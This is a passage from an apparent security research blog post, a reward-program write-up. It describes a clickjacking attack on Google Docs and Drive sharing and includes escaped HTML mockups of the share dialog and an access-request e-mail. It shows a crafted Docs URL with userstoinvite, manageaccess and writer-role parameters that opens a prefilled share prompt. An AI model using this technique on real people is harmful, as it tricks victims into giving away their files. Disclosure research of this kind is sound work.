class=&#34;dotsIcon&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHbtn sldsHbtnBlueDark over480&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHbtn sldsHbtnBlueDark under480&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHpfp&#34; role=img aria-label=&#34;profile picture&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;filePgNoPrev&#34;&gt;No preview available&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;height:64px&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .filePg {&#xD;&#xA;        background: #1E1E1F;&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 480px;&#xD;&#xA;        font-family: &#34;Google Sans Text&#34;, &#34;Google Sans&#34;, &#34;Open Sans&#34;, Roboto, Arial, sans-serif;&#xD;&#xA;        font-size: 16px;&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        position: relative;&#xD;&#xA;    }&#xD;&#xA;    .filePgH {&#xD;&#xA;        display: flex;&#xD;&#xA;        height: 64px;&#xD;&#xA;        width: calc(100% - 24px);&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        align-items: center;&#xD;&#xA;        margin: 0px 12px;&#xD;&#xA;    }&#xD;&#xA;    .filePgName {&#xD;&#xA;        font-size: 16px;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        color: #C4C7C5;&#xD;&#xA;    }&#xD;&#xA;    .folderIcon {&#xD;&#xA;        display: inline-block;&#xD;&#xA;        width: 18px;&#xD;&#xA;        height: 15px;&#xD;&#xA;    }&#xD;&#xA;    .folderIcon &gt; div:first-child {&#xD;&#xA;        width: 8px;&#xD;&#xA;        height: 0px;&#xD;&#xA;        border-bottom: 3px solid #8F8F8F;&#xD;&#xA;        border-left: none;&#xD;&#xA;        border-top: none;&#xD;&#xA;        border-right: 3px solid #0000;&#xD;&#xA;        border-top-left-radius: 2px;&#xD;&#xA;    }&#xD;&#xA;    .folderIcon &gt; div:last-child {&#xD;&#xA;        width: 18px;&#xD;&#xA;        height: 12px;&#xD;&#xA;        background: #8F8F8F;&#xD;&#xA;        border-radius: 0 0.75px 0.75px 0.75px;&#xD;&#xA;    }&#xD;&#xA;    .dotsIcon {&#xD;&#xA;        height: 16px;&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        justify-content: space-between;&#xD;&#xA;        margin: auto;&#xD;&#xA;    }&#xD;&#xA;    .dotsIcon div {&#xD;&#xA;        background: #C4C7C5;&#xD;&#xA;        width: 4px;&#xD;&#xA;        height: 4px;&#xD;&#xA;        border-radius: 2px;&#xD;&#xA;    }&#xD;&#xA;    .iconButton {&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 40px;&#xD;&#xA;        height: 40px;&#xD;&#xA;        border-radius: 20px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        transition: background 0.1s;&#xD;&#xA;    }&#xD;&#xA;    .iconButton:hover {&#xD;&#xA;        background: #2B2C2B;&#xD;&#xA;    }&#xD;&#xA;    .iconButton:active {&#xD;&#xA;        background: #323232;&#xD;&#xA;    }&#xD;&#xA;    .iconButtonLight:hover {&#xD;&#xA;        background: #F0F1F1;&#xD;&#xA;    }&#xD;&#xA;    .iconButtonLight:active {&#xD;&#xA;        background: #DEDFDF;&#xD;&#xA;    }&#xD;&#xA;    .filePgOpenW {&#xD;&#xA;        background: #131314;&#xD;&#xA;        height: 18px;&#xD;&#xA;        border-radius: 18px;&#xD;&#xA;        border: 1px solid #8E918F;&#xD;&#xA;        color: #C4C7C5;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        padding: 8px 16px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        user-select: none;&#xD;&#xA;        margin: auto;&#xD;&#xA;        position: absolute;&#xD;&#xA;        left: 0;&#xD;&#xA;        right: 0;&#xD;&#xA;        width: fit-content;&#xD;&#xA;    }&#xD;&#xA;    .filePgOpenW:hover {&#xD;&#xA;        background: #212221;&#xD;&#xA;    }&#xD;&#xA;    .filePgOpenW:active {&#xD;&#xA;        background: #29292A;&#xD;&#xA;    }&#xD;&#xA;    .filePgNoPrev {&#xD;&#xA;        width: min(300px, 90%);&#xD;&#xA;        height: 68px;&#xD;&#xA;        background: #4C494C;&#xD;&#xA;        border-radius: 12px;&#xD;&#xA;        color: #FFF;&#xD;&#xA;        font-size: 19px;&#xD;&#xA;        margin: auto;&#xD;&#xA;        text-align: center;&#xD;&#xA;        display: flex;&#xD;&#xA;        justify-content: center;&#xD;&#xA;        align-items: center;&#xD;&#xA;        box-shadow: 0px 10px 12px 5px #0002;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;The page has a share button that stays enabled even within an iframe. If we can trick someone into clicking the Share button, typing in our e-mail, and changing the permissions on some important folder, we&amp;rsquo;ll gain access to it.&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-5-but-can-we&#34;&gt;Part 5: But can we?&lt;/h2&gt;&#xA;&lt;p&gt;But let&amp;rsquo;s do a reality check - can we &lt;em&gt;really&lt;/em&gt; trick someone into performing all those actions? Maybe, if we try hard enough, but even with all our iframing and clickjacking abilities it&amp;rsquo;s going to take a lot to convince someone to do all that. I don&amp;rsquo;t think the VRP panel&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; would be very impressed with &lt;em&gt;this&lt;/em&gt; much reliance on social engineering. We must find a way to make it more convincing - ideally condensing it down to just a single click.&lt;/p&gt;&#xA;&lt;p&gt;Thinking of ways to improve the attack, I remembered the feature in Drive that lets you request access to other people&amp;rsquo;s documents. Doing so sends out an e-mail with a cool little button to immediately manage the permissions.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;    .gmailTable {&#xD;&#xA;        position:absolute;&#xD;&#xA;        background:#FFF;&#xD;&#xA;        color: #222;&#xD;&#xA;        max-width:420px;&#xD;&#xA;        padding: 16px;&#xD;&#xA;        border: 1px solid #CCC;&#xD;&#xA;        box-shadow: 0 2px 4px #0002;&#xD;&#xA;        top: 84px;&#xD;&#xA;        left: max(0px, min(104px, calc(100% - 456px)));&#xD;&#xA;        z-index: 1;&#xD;&#xA;    }&#xD;&#xA;    .gmailTable td:first-child {&#xD;&#xA;        color:#999;&#xD;&#xA;        white-space:nowrap;&#xD;&#xA;        text-align:right;&#xD;&#xA;        vertical-align: top;&#xD;&#xA;        padding-right: 12px;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;genericContainer defSelect&#34; role=&#34;figure&#34; aria-label=&#34;e-mail&#34; style=&#34;position:relative;background:#FFF;font-family:&#39;Google Sans&#39;,Roboto,Arial,Helvetica,sans-serif;font-size:14px;color:#3C4043&#34;&gt;&#xD;&#xA;    &lt;input type=&#34;checkbox&#34; style=&#34;display:none&#34; id=&#34;gmailInfoCheck&#34; checked /&gt;&#xD;&#xA;    &lt;div class=&#34;gmailTable&#34; id=&#34;gmailTable1&#34;&gt;&#xD;&#xA;        &lt;label for=&#34;gmailInfoCheck&#34;&gt;&lt;div style=&#34;text-align:right;cursor:pointer&#34; class=&#34;under480&#34;&gt;×&lt;/div&gt;&lt;/label&gt;&#xD;&#xA;        &lt;table&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;from:&lt;/td&gt;&lt;td style=&#34;color:#5E5E5E&#34;&gt;&lt;b style=&#34;color:#1F1F1F&#34;&gt;Lyra Rebane (via Google Drive)&lt;/b&gt; &amp;lt;drive-shares-dm-noreply@google.com&amp;gt;&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;reply-to:&lt;/td&gt;&lt;td&gt;Lyra Rebane &amp;lt;lyra.horse&lt;wbr&gt;@gmail.com&amp;gt;&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;to:&lt;/td&gt;&lt;td&gt;lyra.horse&lt;wbr&gt;@gmail.com&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;date:&lt;/td&gt;&lt;td&gt;Sep 19, 2024, 10:30 AM&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;subject:&lt;/td&gt;&lt;td&gt;Share request for &#34;Secret Folder&#34;&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;mailed-by:&lt;/td&gt;&lt;td&gt;doclist.bounces.&lt;wbr&gt;google.com&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;signed-by:&lt;/td&gt;&lt;td&gt;google.com&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;            &lt;tr&gt;&lt;td&gt;security:&lt;/td&gt;&lt;td&gt;🔒 Standard encryption (TLS) &lt;a href=&#34;https://blog.aegrel.ee/&#34; style=&#34;color:inherit;text-decoration:underline&#34;&gt;Learn more&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;        &lt;/table&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;display:flex;align-items:center;margin:12px 8px 12px 70px&#34;&gt;&lt;input type=&#34;checkbox&#34; style=&#34;display:none&#34; id=&#34;gmailInboxCheck&#34; /&gt;&lt;div style=&#34;font-size:22px;color:#1F1F1F&#34;&gt;Share request for &#34;Secret Folder&#34;&lt;/div&gt;&lt;div style=&#34;border-radius:4px 0 0 4px;padding-right:2px;margin-left:10px&#34; class=&#34;inboxBtn over560&#34; id=&#34;inboxBtn1&#34; aria-hidden=true&gt;Inbox&lt;/div&gt;&lt;label aria-hidden=true id=&#34;inboxBtn2&#34; for=&#34;gmailInboxCheck&#34;&gt;&lt;div style=&#34;border-radius:0 4px 4px 0;padding-left:2px&#34; class=&#34;inboxBtn over560&#34;&gt;×&lt;/div&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;color:#5E5E5E;font-size:12px;display:flex;margin-right:12px&#34;&gt;&#xD;&#xA;        &lt;div style=&#34;flex-shrink:0;width:40px;height:40px;background:#A0C3FF;border-radius:40px;margin:-2px 16px;overflow:hidden&#34;&gt;&lt;div style=&#34;background:#4374E0;width:15px;height:15px;border-radius:30px;margin:9px auto 2px;&#34;&gt;&lt;/div&gt;&lt;div style=&#34;background:#4374E0;width:27px;height:30px;border-radius:30px;margin:auto&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;overflow:hidden;white-space:nowrap&#34;&gt;&#xD;&#xA;            &lt;div style=&#34;text-overflow:ellipsis;overflow:hidden&#34;&gt;&lt;b style=&#34;color:#1F1F1F&#34;&gt;Lyra Rebane (via Google Drive)&lt;/b&gt; &amp;lt;drive-shares-dm-noreply@google.com&amp;gt;&lt;/div&gt;&#xD;&#xA;            &lt;div style=&#34;display:flex;width:fit-content&#34;&gt;to me &lt;label for=&#34;gmailInfoCheck&#34;&gt;&lt;div class=&#34;dropBtnWrapper&#34;&gt;&lt;div class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;margin-left:auto;flex-shrink:0&#34;&gt;&lt;span class=&#34;over560&#34;&gt;Sep 19th, 2024, &lt;/span&gt;10:30 AM&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;iconButton iconButtonLight over480&#34; style=&#34;flex-shrink:0;transform:scale(0.6); margin: -11px -4px&#34;&gt;&lt;div class=&#34;dotsIcon&#34; style=&#34;filter:brightness(0.6)&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;border-radius:8px;border:1px solid #dadce0;width:75%;margin:24px auto;padding:4.5%&#34;&gt;&#xD;&#xA;        &lt;div style=&#34;margin-bottom:32px;font-size:28px&#34;&gt;Share a folder?&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;display:flex&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;shareDlgCircle&#34; style=&#34;width:50px;height:50px&#34; role=img aria-label=&#34;profile picture&#34;&gt;&lt;div style=&#34;width:100%;height:100%;background:#7B1FA2;color:#FFF;text-align:center;font-size:30px;line-height:50px;user-select:none;border-radius:50px&#34;&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;margin-left:12px&#34;&gt;&#xD;&#xA;        &lt;div style=&#34;color:#202124;font-size:16px&#34;&gt;Lyra Rebane (lyra.horse&lt;wbr&gt;@gmail.com) is &lt;b&gt;requesting access&lt;/b&gt; to the following folder:&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;margin:24px 0 28px;color:#5f6368;font-size:16px&#34;&gt;hi pls give access kthxbye&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;cursor:pointer;width:fit-content;padding:8px 5px 7px;border:1px solid #DADCE0;border-radius:32px;display:flex;font-weight:501;margin-bottom:36px&#34;&gt;&lt;span class=&#34;folderIcon&#34; style=&#34;margin: 0 8px;transform:scale(0.9);filter:brightness(0.615)&#34;&gt;&lt;div style=&#34;transform:translate(-0.05px,0.4px) scaleY(1.1)&#34;&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div style=&#34;padding-right:6px;letter-spacing:.25px&#34;&gt;Secret Folder&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;a href=&#34;https://docs.google.com/file/d/1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL/edit?usp=sharing_esp&amp;userstoinvite=lyra.horse@gmail.com&amp;sharingaction=manageaccess&amp;role=writer&amp;ts=66e724ba&#34; style=&#34;display:inline-block&#34;&gt;&lt;div style=&#34;cursor:pointer;width:fit-content;padding:9px 24px 10px;background:#1A73E8;color:#FFF;border-radius:32px;display:flex;font-weight:501;letter-spacing:.25px&#34;&gt;Manage sharing&lt;/div&gt;&lt;/a&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The button in that e-mail links to &lt;span class=&#34;urlBox&#34;&gt;&lt;a href=&#34;https://drive.google.com/drive/folders/%7bID%7d?usp=sharing_esp&amp;amp;userstoinvite=lyra.horse@gmail.com&amp;amp;sharingaction=manageaccess&amp;amp;role=writer&amp;amp;ts=66e724ba&#34;&gt;https://drive.google.com/drive/folders/{ID}?usp=sharing_esp&amp;userstoinvite=lyra.horse@gmail.com&amp;sharingaction=manageaccess&amp;role=writer&amp;ts=66e724ba&lt;/a&gt;&#xA;&lt;/span&gt;, which when opened, pops up the Share dialog with a notification of the request. Of course, that&amp;rsquo;s a Drive link, not a Docs one, but I tried copying all of the query parameters over to our Docs link and that seemed to do the trick!&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; role=&#34;figure&#34; aria-label=&#34;Browser window, Google Drive dialog&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;urlBar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;&lt;span class=&#34;urlBarDomain&#34;&gt;docs.google.com&lt;/span&gt;/file/d/1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL/edit?usp=sharing_esp&amp;userstoinvite=lyra.horse@gmail.com&amp;sharingaction=manageaccess&amp;role=writer&amp;ts=66e724ba&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;filePg defSelect&#34; style=&#34;height:512px&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;filePgH&#34; aria-hidden=true&gt;&#xD;&#xA;            &lt;div class=&#34;filePgName&#34;&gt;&lt;span class=&#34;folderIcon&#34; style=&#34;margin: 0 11px&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;Secret Folder&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;filePgOpenW over640&#34;&gt;Open with&lt;/div&gt;&#xD;&#xA;            &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto;margin-right:2px&#34;&gt;&#xD;&#xA;                &lt;div class=&#34;iconButton over480&#34;&gt;&lt;div class=&#34;dotsIcon&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHbtn sldsHbtnBlueDark over480&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHbtn sldsHbtnBlueDark under480&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHpfp&#34; role=img aria-label=&#34;profile picture&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;filePgO&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;shareDlg&#34;&gt;&#xD;&#xA;                &lt;input type=&#34;checkbox&#34; style=&#34;display:none&#34; id=&#34;reviewDialog&#34;  /&gt;&#xD;&#xA;                &lt;div id=&#34;shareDlgReview1&#34;&gt;&#xD;&#xA;                &lt;a href=&#34;https://www.youtube.com/watch?v=yD2FSwTy2lw&#34; title=&#34;no one&#39;s around to help&#34;&gt;&lt;div class=&#34;over360 iconButton iconButtonLight&#34; style=&#34;position:absolute;right:6px;top:10px&#34;&gt;&lt;div class=&#34;helpIcon&#34;&gt;?&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&#xD;&#xA;                &lt;div class=&#34;shareDlgTitle&#34;&gt;Share &#34;Secret Folder&#34;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;shareDlgBanner&#34;&gt;Lyra Rebane asked to be an editor&lt;span style=&#34;padding-left:0&#34;&gt;&lt;label for=&#34;reviewDialog&#34; style=&#34;cursor:inherit&#34;&gt;Review&lt;/label&gt;&lt;/span&gt;&lt;span class=&#34;over480&#34;&gt;✖&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;                &lt;input class=&#34;shareDlgTbox shareDlgBbox&#34; placeholder=&#34;Add people, groups, and calendar events&#34;&gt;&lt;/input&gt;&#xD;&#xA;                &lt;div class=&#34;shareDlgSubtitle&#34;&gt;People with access&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;shareDlgEntry shareDlgEntryH&#34;&gt;&lt;div class=&#34;shareDlgCircle&#34; role=img aria-label=&#34;profile picture&#34;&gt;&lt;div style=&#34;width:100%;height:100%;background:#7B1FA2;color:#FFF;text-align:center;font-size:20px;line-height:32px;user-select:none;border-radius:20px&#34;&gt;L&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;margin-left:10px&#34;&gt;&lt;div style=&#34;font-weight:501;margin-left:4px&#34;&gt;Lyra Rebane (you)&lt;/div&gt;&lt;div style=&#34;color:#444746;font-size:12px;letter-spacing:0.1px;margin-left:4px&#34;&gt;lyra.horse@gmail.com&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;margin-left:auto;color:#AAA;letter-spacing:0.15px;user-select:none&#34; class=&#34;over480&#34;&gt;Owner&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;shareDlgSubtitle&#34;&gt;General access&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;shareDlgEntry shareDlgEntryH&#34;&gt;&lt;div class=&#34;shareDlgCircle&#34;&gt;&lt;svg width=&#34;20&#34; height=&#34;20&#34; viewBox=&#34;0 0 24 24&#34; style=&#34;margin:auto&#34;&gt;&lt;path d=&#34;M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9V6zm9 14H6V10h12v10zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/div&gt;&lt;div style=&#34;margin-left:10px&#34;&gt;&lt;div class=&#34;shareDlgDrop over360&#34;&gt;Restricted&lt;div class=&#34;sldsDrop&#34; style=&#34;margin: 0 2px 0 12px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;color:#444746;font-size:12px;letter-spacing:0.1px;margin-left:4px&#34;&gt;Only people with access can open with the link&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div style=&#34;display:flex;margin: 16px 0;justify-content: space-between&#34;&gt;&lt;div class=&#34;over360 shareDlgBtn shareDlgBtnWhite&#34;&gt;Copy link&lt;/div&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnBlue&#34;&gt;Done&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;                &lt;div id=&#34;shareDlgReview2&#34;&gt;&#xD;&#xA;                    &lt;label for=&#34;reviewDialog&#34; style=&#34;cursor:inherit&#34;&gt;&lt;div class=&#34;iconButton iconButtonLight&#34; style=&#34;position:absolute;left:16px;top:12px&#34;&gt;&lt;svg width=&#34;24&#34; height=&#34;24&#34; viewBox=&#34;0 0 24 24&#34; style=&#34;margin:auto&#34;&gt;&lt;path d=&#34;M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/div&gt;&lt;/label&gt;&#xD;&#xA;                    &lt;div class=&#34;shareDlgTitle&#34; style=&#34;margin-left: 42px&#34;&gt;Request for access&lt;/div&gt;&#xD;&#xA;                    &lt;div class=&#34;shareDlgEntry&#34;&gt;&lt;div class=&#34;shareDlgCircle&#34; role=img aria-label=&#34;profile picture&#34;&gt;&lt;div style=&#34;width:100%;height:100%;background:#7B1FA2;color:#FFF;text-align:center;font-size:20px;line-height:32px;user-select:none;border-radius:20px&#34;&gt;L&lt;/div&gt;&lt;/div&gt;&lt;div style=&#34;margin-left:10px&#34;&gt;&lt;div style=&#34;font-weight:501;margin-left:4px&#34;&gt;Lyra Rebane asked to be an editor&lt;/div&gt;&lt;div style=&#34;color:#444746;font-size:12px;letter-spacing:0.1px;margin-left:4px&#34;&gt;lyra.horse@gmail.com&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div style=&#34;margin-left:46px&#34;&gt;&#xD;&#xA;                        &lt;div style=&#34;background:#D3E3FD;border-radius:4px 16px 16px;width:fit-content;padding:8px;margin-bottom:24px&#34;&gt;hi pls give access kthxbye&lt;/div&gt;&#xD;&#xA;                        &lt;div class=&#34;shareDlgBbox&#34; style=&#34;padding:10px 18px;width:fit-content;user-select:none;cursor:default;display:flex;align-items:center&#34;&gt;Editor&lt;div class=&#34;sldsDrop&#34; style=&#34;margin-left:12px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                        &lt;div style=&#34;display:flex;align-items:center;margin-top:30px;margin-bottom:15px&#34;&gt;&lt;input id=&#34;notifyChk&#34; type=&#34;checkbox&#34; style=&#34;width:18px;height:18px;filter: brightness(0.8) contrast(1.5);margin:1px;margin-right:16px&#34; checked&gt;&lt;label for=&#34;notifyChk&#34;&gt;Notify&lt;/label&gt;&lt;div title=&#34;This checkbox does nothing because this is just a static blogpost with cool CSS.&#34; class=&#34;helpIcon&#34; style=&#34;margin:0 0 0 8px&#34;&gt;?&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                        &lt;input class=&#34;shareDlgTbox shareDlgBbox&#34; style=&#34;padding:8px 16px;font-size: 14px;&#34; placeholder=&#34;Message&#34;&gt;&lt;/input&gt;&#xD;&#xA;                        &lt;div style=&#34;display:flex;margin: 28px 0;justify-content: flex-end&#34;&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnWhite&#34;&gt;Decline&lt;/div&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnBlue&#34; style=&#34;margin-left:8px&#34;&gt;Share&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .inboxBtn {&#xD;&#xA;        background:#DDD;&#xD;&#xA;        color:#666;&#xD;&#xA;        font-size: 12px;&#xD;&#xA;        padding:0 4px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;    }&#xD;&#xA;    .inboxBtn:hover {&#xD;&#xA;        background:#666;&#xD;&#xA;        color:#DDD;&#xD;&#xA;    }&#xD;&#xA;    .dropBtnWrapper {&#xD;&#xA;        margin: auto 1px;&#xD;&#xA;        padding: 5px 3px;&#xD;&#xA;        border-radius: 4px;&#xD;&#xA;        transition: background 0.1s;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;    }&#xD;&#xA;    .dropBtnWrapper:hover {&#xD;&#xA;        background: #F2F2F2;&#xD;&#xA;    }&#xD;&#xA;    .dropBtnWrapper:active {&#xD;&#xA;        background: #E4E4E4;&#xD;&#xA;    }&#xD;&#xA;    input#reviewDialog[type=&#34;checkbox&#34;]:checked ~ #shareDlgReview1 {&#xD;&#xA;        display:none;&#xD;&#xA;    }&#xD;&#xA;    input#gmailInfoCheck[type=&#34;checkbox&#34;]:checked ~ #gmailTable1 {&#xD;&#xA;        display:none;&#xD;&#xA;    }&#xD;&#xA;    input#gmailInboxCheck[type=&#34;checkbox&#34;]:checked ~ #inboxBtn1,&#xD;&#xA;    input#gmailInboxCheck[type=&#34;checkbox&#34;]:checked ~ #inboxBtn2 {&#xD;&#xA;        display:none;&#xD;&#xA;    }&#xD;&#xA;    input#reviewDialog[type=&#34;checkbox&#34;]:not(:checked) ~ #shareDlgReview2 {&#xD;&#xA;        display:none;&#xD;&#xA;    }&#xD;&#xA;    .filePgO {&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 100%;&#xD;&#xA;        z-index: 1;&#xD;&#xA;        position: absolute;&#xD;&#xA;        background: #0008;&#xD;&#xA;        display: flex;&#xD;&#xA;    }&#xD;&#xA;    